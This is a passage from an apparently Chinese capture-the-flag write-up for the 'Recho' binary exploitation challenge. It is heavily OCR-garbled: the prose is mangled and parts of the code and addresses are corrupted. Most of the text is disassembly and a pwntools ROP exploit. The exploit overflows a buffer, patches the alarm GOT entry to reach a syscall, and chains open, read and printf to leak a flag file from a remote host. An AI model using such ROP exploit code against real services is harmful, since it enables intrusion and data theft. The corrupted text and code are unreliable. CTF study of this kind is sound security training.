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int _ cdecl main(int argc, const char **argv, const char **envp)
{
char nptr; // [rsp+
char buf[4 v1|J H

int ve; // [rsp+3sh
int H_

Init(*{ QWORD *)&argc, argv, envp);
write(1, “"Welcome to Recho server!i\n", @x19ullL);
while ( read(®, &nptr, @x10uLL) > @ )

7 = atoi(&nptr);
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BRRE MR EKELY, R, XEKMERETRZMEFNATER. read—HHBRE, WRELEINUXE I
EEEIET, BAITTUACHK+D, R, pwnziE, MLTELEXMES. FEHZpwntoolsi2ft T —4
shutdownZjifg, ZIEEW ARG, WRBAIRABAT, X MEABE R T . HRRAH 8 HKROPE X &
BRI, BRAXBERARITIF, BRIEEREFT, WBAZWHTEAHEART Y. Hik, RINTBH—
WA SE BT B AE

—RUEEZRTERE, BLRBHUHTREEIETER, EFBHLE, RMATUFEHRSER
H(syscall). % FHERZ%, systemtb WL AHRZG WA, X FEEREUALT, Hik, RIXER
Fgeshell, RMBELEEMflag, R/FITENHK.

BA1HE, open. write. read. alarmiXiL#RRE RGP, FEIDAMUD L ENE

libc_2.17.50:00007FFFF7AFC940 ; -~~~ =
libc 2.17.50:00007FFFF7AFC940
libc_2.17.50:00@07FFFF7AFC940 loc_7FFFF7AFC940:

libc 2.17.50:00007FFFF7AFC948 cmp cs:dword 7FFFF7DD9F94, @

libc 2.17.s50:00007FFFF7AFC947 jnz short loc 7FFFF7AFC959

libc 2.17.50:00007FFFF7AFCO49 mov eax, @ E

libc_2.1?.50:96997FFFF?AFC9§§\§yscall ; LINUX - sys read
libc 2.17.50:00007FFFF7AFC950 Cmp rax, OFFFFFFFFFFFFFR@1h

libc 2.17.s50:00007FFFF7AFC956 jnb short loc 7FFFF7AFC989

libc_2.17.50:00007FFFF7AFCI958 retn
Tihe 2 17 en-@ABATEEFETARCQRAG - .

B G XA AR R E Flflag

1. intfd = open("flag",READONLY);
2. read(fd,buf,100);
3. printf(buf);

HFARFLELS A Talarm. read. write/L/ANERE, FRATIAESRK Zopenkil, HTFopenRFiNIfHRE RS
WH, REENTIENKeax, A CLEHopen, FHik, BRATE 5%k &EE P syscallif) bt 582 =2 7 H e
Ab i H bk

alarmRHJRATAARE], FHit, RAVEEEHCOTRMUtkH, HE, Wi, RITRKIAIX 42— gadget,
XRZRK, HEIZTR XNMER

.text:0000000000400700 frame_dummy proc near ; DATA XREF: _init_array:__ frame_dummy_
.text:0000000000400700 mov edi, offset _ JCR LIST
.text:0000000000400705 cmp quword ptr [rdi], ©

-text:0000000000400709 jnz short loc_ 400710

.text:000000000040070B

.text:000000000040070B loc_40070B: ; CODE XREF: frame_ dummy+18ij
.text:000000000040070B jmp short register tm clones
-text:000000000040070B ;

.text:000000000040076D align 2

.text:0000000000A0070E dw @C307h

.text:0000000000400710 ;

S%itF bundefine, )5 Hcode, MR T HEKIES



. text : YUYLYBYYYYAYY /0B Jmp short register tm clones

. text:00000000004007OD © - - -~ - -~ -
.text : 00POVOOOPOA0070D ladd [rdi], al

.text :000OOPOPOLO0TOF retn

XANE] PAIErdi B A M bk FR A b in Eal, R4, wRrdi B EMEEalarmifIGOT R bk, #4add [rdi],almt 2T
GOT B8 m itk 17 J5 fm#eal, T alarmik # =) 5 e 0x6N 73T AL M A T syscall, FEL, R TRAT
fF1al’hox5, H4, addisLiT/E, RA1MalarmfHGOTR B Kbk 5 | T syscallf A&, BARK
IR A alarm i 58 2 W A syscall, RAIRBEZ AT ANeax (REAHAS) , BMTAARMNTBENRSG
W H

libc_2.17.50:00007FFFF7AD25A8 ; —————————————————— R OB D S DR

libc_2.17.50:08007FFFF7AD25A0
libc_2.17.s0:00007FFFF7AD25A0 loc_7FFFF7AD25A8:

libc_2.17.50:P0007FFFF7AD25A8 mov eax, 25h

libc_2.17.50:00007FFFF7AD25A5 syscall ; LINUX - sys_alarm
libc 2.17.50:00007FFFF/AD25A7 cmp rax, OFFFFFFFFFFFFFE@1h
libc_2.17.s0:00007FFFF7AD25AD jnb short loc_7FFFF7AD25B@

libc_2.17.s0:00007FFFF7AD25AF retn
Fabe dodd su PR ERETRIISER s~ e e

BEEIbcHILHgmMRIY, BRAIFIE T openfI RE A5 A2

Mibe_2.17.50:00007FFFF7AFCTOR _ GI___ openbd proc near
Ilibc_le?.SO:MG?FFFF?M[?BB

ilibc_Z.l?.so:%GB?FFFF?AFC?BB var_B8= qword ptr -8
libc_2.17.s0:00007FFFF7AFCTO0

ilibc_2.1?.so:%ﬁﬂ?FFFF?AFC?ﬁG cmp cs:_ libc_multiple_threads, @
:libc_2.1?.SO:WW?FFFF?AFCTB? jnz short loc_7FFFFTAFCT19
{libe_2.17. s0:00007FFFFIAFCTO9

llibc_2.17.50:80807FFFF7AFC769 &n_nocancel:
ilibc_Z.l?.so:GGGB?FFFF?AFC?BQ W eax, 2

[libe_2.17. s0:00007FFFF7AFCTOE ; LINUX - sys_open
ilibc_2.1?.so:m}‘FFFF?AFC?IG cmp rax, @FFFFFFFFFFFFFa81h
ilibc_2.1?.SO:GGW?FFFF?AFC?IG jnb short loc_7FFFF7AFCT49
[libc_2.17.50:00007FFFF7AFCT1S retn

PRl LB ATT At 7T A B — 4 openk

BAVE T ZH AR — 35S, ARESH, XEHSHIDANERIEE RpopatiEkEl, JREFELRK,

1. # TS

2. ""'pop rax

3. retn"

4. pop_rax=0x4006FC
5. ""pop rdx

6. retn"

7. pop_rdx = 0x4006FE
8. ""poprsi

9. popribs

10. retn™

11. pop_rsi = 0x4008A1
12. ""pop rdi

13.  retn™

14. pop_rdi = 0x4008A3
15. ""add [rdi],al



16. retn"™
17. rdi_add = 0x40070d

ext:
ext:
ext:
ext:
ext:
ext:
ext:
ext:
ext:

ext:
owvt -

BAVE T B —MFBUE IS R T7 BSSE 2 AT A B K

.bss

.bss

.bss

.bss:

.bss:

.bss:

IS

loc_ 400896:
add rsp, 8
pop rbx
pop rbp
pop rl2
pop ri3
pop rl4
bnp ri5
retn

00000e0ERE40085C
00000000BR40089E
00000e0EeR4008A0

pop ri2
pop ri3
pop ri4

X AR, JELRK, EREET.
Undefined)s 14 J5 i — 4> 15 M Code, BUHRT . HAhIELL

26000000004603A0 NI ENESIN SNSRI

00000e0EeR4008AR
00000000004008A0 ;
00000000BE4088A2
000000000R4008A3 ;
0000000E0R4008A3

0B00000EEB4B0BAL
ARRRAARRRRAAAARLA

1. #EEFR B
2. stdin_buffer = 0x601070

:0000000000601060
:00000000V0601060
:0BB6OBEEER6010668
:00000000006016706

:00000PARORER1O70 ; FILE *stdin

pop rdi
retn
1 // ctartec at ARARAG

align 18h

3 e T e e e  amam

; _edata
; Copy of shared data

public stdin@@GLIBC_2 2 5

- 000PBORARREA1076 stdin@@GLIBC 2 2 5 dgq ?

: 8000000800601670
: 00000B8BPRER1870
:0000000000601070
:0000000000601078
:00000200006016380

:00000P000R6R1080 ; FILE *stderr

align 28h

; DATA XREF:
; Init+4tr

; Alternative name is
; Copy of shared data

LOAD : 660B0600004002B8T0

‘stdin’

public stderr@@GLIBC 2 2 5

- 0PPABPPB0REA10380 stderr@@GLIBC 2 2 5 dq ?

: 90000000006 01680

: 8000000800601680
:0000000000601080
00000R000E601088 completed 6963
:0000000000601088
60000000PR601689
:00000P00RR6R108S _bss

Y T L Ratata)

db ?

align 18h
ends

BREPUARMNEE T T "flag’EfFH, BamMNEH

.data:0000000000601058
.data:0000000000601058 flag
.data:000000000660105D
.data:000000000060165D _data

public flag
db "flag',®
align 28h
ends

; DATA XREF: LOAD:00000000004003D0T0
; Init+4@1tr

; Alternative name is ‘stderr’

; Copy of shared data

; DATA XREF: _ do global dtors auxtr
; _ do _global dtors aux+131w



W4, BATHFLEEpayloadil

BAVEE LB KalarmfIGOTHR, kA syscall

payload ='a™0x38

RS I alarm I GO TR P 2 Nalarm ik 3 B 1 syscallif] F Ab b it st
#rdi = alarm_got

payload += p64(pop_rdi) + p64(alarm_got)

#rax = 0x5

payload += p64(pop_rax) + p64(0x5)

#[rdi] = [rdi] + OXE = alarmi%i $k B fsyscalli¥y 8 F &b

payload += p64(rdi_add)

SRR

© ® N o o bk~ w N =

RE, BAIFkMiESd = open(“flag”,READONLY);iX &) 4R H5

1. ""fd = open(‘flag',READONLY)"

2. #rsi =0 (READONLY)

3. payload += p64(pop_rsi) + p64(0) + p64(0)

4. #rdi ='flag'

5. payload += p64(pop_rdi) + p64(elf.search('flag').next())
6. #rax=2,openfIH 572, &R EDA] A&

7. payload += p64(pop_rax) + p64(2)

8. #syscall

9. payload += p64(alarm_plt)

openbl)5, fAdiIE—MRA3FF 4, KiK. tkimFopenT WA, WA EANIKIfdy A A3M4. R E
%, RAFRALER

BTk, ®AIFFIEMEread(fd,stdin_buffer,100);X A4

1. ™ read(fd,stdin_buffer,100) "

#rdifg MbuflX, F 17 E R 45 5%

payload += p64(pop_rsi) + p64(stdin_buffer) + p64(0)
#Hopen()FT I 341 B B SCA iR 7 — B3 TF 4R, AR IR 184
payload += p64(pop_rdi) + p64(3)

#rax=100, ®ZEIM100MFFF

payload += p64(pop_rdx) + p64(100)

#1% M read & $

payload += p64(read_plt)

© ® N o gk~ w N

WIE, flagfiNBELFE Tstd buffer BT, HBATHprintffTENEBAEIRBER

1. #§ F printffT ED SN P9 25
2. payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)

B, BAVRAR, FHEHFEH, mainKfiBlretnkt, HATERAIKIROP,



1. #RARIAG, BUAT DGR B NMERR, $ATROP T

2. sh.shutdown(‘write')

gk, TAITexpAmnT

#coding:utf8
from pwn import *
import time

context.log_level = 'debug’
#sh = process('./pwnh18")
sh =remote('111.198.29.45'56942)

® N o gk~ 0N

©

elf = ELF(./jpwnh18)

P N
- O

. #ATES

pop rax

—
N

-_—
w

retn
. pop_rax = 0x4006FC

_
(S

pop rdx

—
12

retn
. pop_rdx=0x4006FE

-
_CD\I

pop rsi

-_—
©

pop r15

)
e

retn
. pop_rsi = 0x4008A1

N N
N —

pop rdi

N
w

retn
. pop_rdi = 0x4008A3
. ""add [rdi],al

N NN
o a N

retn
. rdi_add = 0x40070d

NNN
© ® N

. #bssEMIstdinZ i X, AR AIEHHE FEX B
. stdin_buffer = 0x601070

W W W
N S S

. alarm_got = elf.got['alarm']

w
w

. alarm_plt = elf.plff'alarm']

w
>

. read_plt = elf.pli[read’]

w
[$)]

. printf_plt = elf.plt['printf]

W W
N o

. sh.recvuntil('Welcome to Recho server!\n')

w W
© ®

. sh.sendline(str(0x200))

A~ B
- O

. payload ='a""0x38
. HHHEHE Malarm I GO TR P 25 Aalarm ik 3 B i1 syscallifil F 4k i it
. #rdi = alarm_got

A A~ b
A W N

. payload += p64(pop_rdi) + p64(alarm_got)



45.
46.
47.
48.
49.
50.
51.
52.
53.
54,
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.

71.
72.
73.
74.
75.
76.
77.

#rax = 0x5

payload += p64(pop_rax) + p64(0x5)

#[rdi] = [rdi] + OXE = alarmigi £ B fIsyscallf i F &b

payload += p64(rdi_add)

e

""fd = open('flag',READONLY)"

#rsi =0 (READONLY)

payload += p64(pop_rsi) + p64(0) + p64(0)

#rdi = 'flag’

payload += p64(pop_rdi) + p64(elf.search('flag').next())

#rax = 2,openf )5 82, @i BN A] AN 1E

payload += p64(pop_rax) + p64(2)

#syscall

payload += p64(alarm_plt)

""" read(fd,stdin_buffer,100) "

#rdifR FbuflX, F TR AR 45 5%

payload += p64(pop_rsi) + p64(stdin_buffer) + p64(0)
#Hopen()JFT I 341k B B SCA IR 7 — O3 TF 4R, AR IR 184
payload += p64(pop_rdi) + p64(3)

#rax=100, HmZEE100MFFF

payload += p64(pop_rdx) + p64(100)

#1E Fread B 31

payload += p64(read_plt)

#48 F printfFT B SL AL P9 25

payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
ggﬁmiﬁ,ﬂiﬁ?ﬁ$&,ﬁﬁﬁ%%ﬁMWWMmmé%ﬁﬁf,ﬁ%ﬂ%ﬁ%%ﬁ%ﬁmﬂﬁﬁﬁﬁﬁﬁ%

payload = payload.ljust(0x200,"\x00")
sh.sendline(payload)
HRHBAN, AT LR EIANMERR, $ATROPT

sh.shutdown('write")

sh.interactive()
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